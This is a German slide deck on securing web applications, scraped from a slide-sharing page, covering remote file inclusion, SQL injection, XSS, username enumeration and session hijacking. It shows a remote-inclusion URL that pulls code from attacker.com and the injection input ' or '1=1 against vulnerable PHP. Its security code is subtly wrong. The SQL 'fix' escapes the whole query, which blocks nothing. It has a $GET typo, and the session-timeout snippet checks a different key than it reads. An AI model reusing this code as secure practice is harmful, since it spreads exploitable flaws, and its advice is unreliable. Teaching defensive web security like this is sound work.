it- und medienlösungen - individuell wie sie.




   Webapplikationen
sicher konzipieren und
    programmieren
it- und medienlösungen - individuell wie sie.




IT-Sicherheit ist ein stetiger Prozess




    Verhinderung      Überwachung        Reaktion
it- und medienlösungen - individuell wie sie.




Verhinderung
  Maßnahmen die versuchen, einen Angriff effektiv im
  Voraus zu verhindern.

■ Firewalls
■ Access Controll Lists
■ Rechtemanagement
it- und medienlösungen - individuell wie sie.




Überwachung
  Maßnahmen die einen Angriff im System erkennen
  sollen.

■ Intrusion Detection Systeme
■ Netzwerksicherheit Monitore
■ Traffic Anomalien
it- und medienlösungen - individuell wie sie.




Reaktion
  Maßnahmen bei einem Angriff.

■ Server offline nehmen
■ Backup ziehen
■ Schwachstellen analysieren
it- und medienlösungen - individuell wie sie.




Wie geht ein Hacker vor?
  Vergleichbar mit einem Einsatz im Krieg

■ Ziel auskundschaften
■ Schwachstellen ausfindig machen
■ Schwachstellen ausnutzen
■ Position sichern
it- und medienlösungen - individuell wie sie.




Wie geht ein Hacker vor?
  Im Detail bedeutet dies:

■ Öffentlich zugängliche Logins und Formulare finden
■ Prüfen, ob gefundene Angriffspunkte angreifbar sind
■ Schwachstellen ausnutzen
■ Weitere Zugänge öffnen
it- und medienlösungen - individuell wie sie.




Grundlagen Web Applikationen




GET http://..../index.html                  HTML




                             PowerBook G4
it- und medienlösungen - individuell wie sie.




Grundlagen Web Applikationen


                               SQL

   PHP, Ruby, ...




              PowerBook G4
it- und medienlösungen - individuell wie sie.




Ziele eines Hackers

■ Webseite manipulieren
■ Datenbank manipulieren
■ Server für seine Zwecke nutzen
■ Informationen ausspionieren
it- und medienlösungen - individuell wie sie.




Wege eines Hackers
Sicherheitslücken in

■ Serversoftware (Betriebssystem)
■ Application Server (Apache, PHP, mySQL)
■ eigentlichem Skript / Programm
it- und medienlösungen - individuell wie sie.




Wege eines Hackers
Sicherheitslücken in

■ Serversoftware (Betriebssystem)
■ Application Server (Apache, PHP, mySQL)
■ eigentlichem Skript / Programm
it- und medienlösungen - individuell wie sie.




Remote code execution

■ PHP-Einstellungen:
 ■ register_globals
 ■ allow_url_fopen
 ■ safe_mode
it- und medienlösungen - individuell wie sie.




Remote code execution
Folgender Angriff soll verhindert werden:


http://www.vulnsite.com/index.php?page=http://www.attacker.com/attack.txt


==> require ($page);
it- und medienlösungen - individuell wie sie.




Remote code execution
Deaktivieren von register_globals


http://www.vulnsite.com/index.php?page=http://www.attacker.com/attack.txt


==> require ($GET[`page`]);
it- und medienlösungen - individuell wie sie.




Remote code execution
Deaktivieren von allow_url_fopen



GELÖST!

Kein include/require von einer fremden URL mehr
möglich.
it- und medienlösungen - individuell wie sie.




SQL Injection


             admin




<?php

$query = “SELECT * FROM users WHERE username = ‘{$_POST[‘username‘]}‘“;

$result = mysql_query($query);

?>
it- und medienlösungen - individuell wie sie.




SQL Injection


             ‘ or ‘1=1




<?php

$query = “SELECT * FROM users WHERE username = ‘‘ or ‘1=1‘“;

$result = mysql_query($query);

?>
it- und medienlösungen - individuell wie sie.




SQL Injection


             ‘ or ‘1=1




<?php

$query = “SELECT * FROM users WHERE username = ‘‘ or ‘1=1‘“;

$result = mysql_query(mysql_real_escape_string($query));

?>
it- und medienlösungen - individuell wie sie.




SQL Injection



Die TYPO3 - API macht das von selbst!



Deshalb: API-Funktionen verwenden und
Datenbankzugriffe nicht selbst schreiben.



Testen mit: SQL Inject Me (Firefox Extension)
it- und medienlösungen - individuell wie sie.




Cross Site Scripting
Gleicher Ansatz wie bei SQL Injection, nur dass
bösartiger JavaScript Code ausgeführt wird.



Ziel: Stehlen von Sessions und/oder Cookies
it- und medienlösungen - individuell wie sie.




Username enumeration
Erraten von Benutzername / Passwort Kombinationen



Der angegebene Login existiert nicht.



Die angegebene Kombination aus Benutzername und
Passwort ist falsch.
it- und medienlösungen - individuell wie sie.




Session highjacking



Übernahme einer fremden Session.



Geht man weiter: Erlangen von zusätzlichen Rechten
it- und medienlösungen - individuell wie sie.




Session highjacking



Was ist in einem Cookie gespeichert?

  Ausschließlich eine Session ID
Alles andere wird serverseitig gelöst.
it- und medienlösungen - individuell wie sie.




Session highjacking

session_start();

// set timeout period in seconds
$inactive = 600;

// check to see if $_SESSION['timeout'] is set
if(isset($_SESSION['timeout']) ) {
   $session_life = time() - $_SESSION['start'];
   if($session_life > $inactive)
         { session_destroy(); header("Location: logoutpage.php"); }
}

$_SESSION['start'] = time();

Weitere ähnliche Inhalte

PDF
Mythen der WordPress-Sicherheit (Barcamp Koblenz 2015)
PPTX
PORTAFOLIO DE FRANCISCO DE LA PEÑA CANTILLO/BROCHURE
PPT
SEMINARIO SANIDAD EFATA/PASTOR FRANCISCO DE LA PEÑA CANTILLO
PDF
Material de estudio_taller_4_realidad_nacional
PPTX
Como utilizar la tecnología como elemento fundamental en
PDF
Posizionamento nei motori di ricerca - Tutto quello che gli altri non ti dicono
PDF
Rom - die imperiale Stadt
Mythen der WordPress-Sicherheit (Barcamp Koblenz 2015)
PORTAFOLIO DE FRANCISCO DE LA PEÑA CANTILLO/BROCHURE
SEMINARIO SANIDAD EFATA/PASTOR FRANCISCO DE LA PEÑA CANTILLO
Material de estudio_taller_4_realidad_nacional
Como utilizar la tecnología como elemento fundamental en
Posizionamento nei motori di ricerca - Tutto quello che gli altri non ti dicono
Rom - die imperiale Stadt

Andere mochten auch (20)

PPS
PPTX
Los medios y tecnologías en la educación escolar
PPT
Plantilla ppp presentacion-san gabriel
PPS
Efecto mariposa
PPT
Transferencia de imagenes_mir
PDF
Florenz - Kunst und Macht
DOC
Guia de triangulos
PDF
Plantilla de autoevaluación_ billy_ vega
PPT
Hip hop&alvaro
PPT
PPT
Exposicion redaccion de cuestionarios mac daniel gates
PPTX
Correo electrónico
PDF
Nationalstolzpdf
PPTX
Sequence number archery 2015
PPTX
Investor Relations 2.0 – Facebook, Twitter, Blogs, Wikis und Bewegtbilder - F...
PPTX
LA IGLESIA Y SU TAREA DE GANAR ALMAS/FRANCISCO DE LA PEÑA CANTILLO
PPT
Mein studium
ODP
Feudalismo 2º eso
Los medios y tecnologías en la educación escolar
Plantilla ppp presentacion-san gabriel
Efecto mariposa
Transferencia de imagenes_mir
Florenz - Kunst und Macht
Guia de triangulos
Plantilla de autoevaluación_ billy_ vega
Hip hop&alvaro
Exposicion redaccion de cuestionarios mac daniel gates
Correo electrónico
Nationalstolzpdf
Sequence number archery 2015
Investor Relations 2.0 – Facebook, Twitter, Blogs, Wikis und Bewegtbilder - F...
LA IGLESIA Y SU TAREA DE GANAR ALMAS/FRANCISCO DE LA PEÑA CANTILLO
Mein studium
Feudalismo 2º eso
Anzeige

Web Applikations Security

  • 1. it- und medienlösungen - individuell wie sie. Webapplikationen sicher konzipieren und programmieren
  • 2. it- und medienlösungen - individuell wie sie. IT-Sicherheit ist ein stetiger Prozess Verhinderung Überwachung Reaktion
  • 3. it- und medienlösungen - individuell wie sie. Verhinderung Maßnahmen die versuchen, einen Angriff effektiv im Voraus zu verhindern. ■ Firewalls ■ Access Controll Lists ■ Rechtemanagement
  • 4. it- und medienlösungen - individuell wie sie. Überwachung Maßnahmen die einen Angriff im System erkennen sollen. ■ Intrusion Detection Systeme ■ Netzwerksicherheit Monitore ■ Traffic Anomalien
  • 5. it- und medienlösungen - individuell wie sie. Reaktion Maßnahmen bei einem Angriff. ■ Server offline nehmen ■ Backup ziehen ■ Schwachstellen analysieren
  • 6. it- und medienlösungen - individuell wie sie. Wie geht ein Hacker vor? Vergleichbar mit einem Einsatz im Krieg ■ Ziel auskundschaften ■ Schwachstellen ausfindig machen ■ Schwachstellen ausnutzen ■ Position sichern
  • 7. it- und medienlösungen - individuell wie sie. Wie geht ein Hacker vor? Im Detail bedeutet dies: ■ Öffentlich zugängliche Logins und Formulare finden ■ Prüfen, ob gefundene Angriffspunkte angreifbar sind ■ Schwachstellen ausnutzen ■ Weitere Zugänge öffnen
  • 8. it- und medienlösungen - individuell wie sie. Grundlagen Web Applikationen GET http://..../index.html HTML PowerBook G4
  • 9. it- und medienlösungen - individuell wie sie. Grundlagen Web Applikationen SQL PHP, Ruby, ... PowerBook G4
  • 10. it- und medienlösungen - individuell wie sie. Ziele eines Hackers ■ Webseite manipulieren ■ Datenbank manipulieren ■ Server für seine Zwecke nutzen ■ Informationen ausspionieren
  • 11. it- und medienlösungen - individuell wie sie. Wege eines Hackers Sicherheitslücken in ■ Serversoftware (Betriebssystem) ■ Application Server (Apache, PHP, mySQL) ■ eigentlichem Skript / Programm
  • 12. it- und medienlösungen - individuell wie sie. Wege eines Hackers Sicherheitslücken in ■ Serversoftware (Betriebssystem) ■ Application Server (Apache, PHP, mySQL) ■ eigentlichem Skript / Programm
  • 13. it- und medienlösungen - individuell wie sie. Remote code execution ■ PHP-Einstellungen: ■ register_globals ■ allow_url_fopen ■ safe_mode
  • 14. it- und medienlösungen - individuell wie sie. Remote code execution Folgender Angriff soll verhindert werden: http://www.vulnsite.com/index.php?page=http://www.attacker.com/attack.txt ==> require ($page);
  • 15. it- und medienlösungen - individuell wie sie. Remote code execution Deaktivieren von register_globals http://www.vulnsite.com/index.php?page=http://www.attacker.com/attack.txt ==> require ($GET[`page`]);
  • 16. it- und medienlösungen - individuell wie sie. Remote code execution Deaktivieren von allow_url_fopen GELÖST! Kein include/require von einer fremden URL mehr möglich.
  • 17. it- und medienlösungen - individuell wie sie. SQL Injection admin <?php $query = “SELECT * FROM users WHERE username = ‘{$_POST[‘username‘]}‘“; $result = mysql_query($query); ?>
  • 18. it- und medienlösungen - individuell wie sie. SQL Injection ‘ or ‘1=1 <?php $query = “SELECT * FROM users WHERE username = ‘‘ or ‘1=1‘“; $result = mysql_query($query); ?>
  • 19. it- und medienlösungen - individuell wie sie. SQL Injection ‘ or ‘1=1 <?php $query = “SELECT * FROM users WHERE username = ‘‘ or ‘1=1‘“; $result = mysql_query(mysql_real_escape_string($query)); ?>
  • 20. it- und medienlösungen - individuell wie sie. SQL Injection Die TYPO3 - API macht das von selbst! Deshalb: API-Funktionen verwenden und Datenbankzugriffe nicht selbst schreiben. Testen mit: SQL Inject Me (Firefox Extension)
  • 21. it- und medienlösungen - individuell wie sie. Cross Site Scripting Gleicher Ansatz wie bei SQL Injection, nur dass bösartiger JavaScript Code ausgeführt wird. Ziel: Stehlen von Sessions und/oder Cookies
  • 22. it- und medienlösungen - individuell wie sie. Username enumeration Erraten von Benutzername / Passwort Kombinationen Der angegebene Login existiert nicht. Die angegebene Kombination aus Benutzername und Passwort ist falsch.
  • 23. it- und medienlösungen - individuell wie sie. Session highjacking Übernahme einer fremden Session. Geht man weiter: Erlangen von zusätzlichen Rechten
  • 24. it- und medienlösungen - individuell wie sie. Session highjacking Was ist in einem Cookie gespeichert? Ausschließlich eine Session ID Alles andere wird serverseitig gelöst.
  • 25. it- und medienlösungen - individuell wie sie. Session highjacking session_start(); // set timeout period in seconds $inactive = 600; // check to see if $_SESSION['timeout'] is set if(isset($_SESSION['timeout']) ) { $session_life = time() - $_SESSION['start']; if($session_life > $inactive) { session_destroy(); header("Location: logoutpage.php"); } } $_SESSION['start'] = time();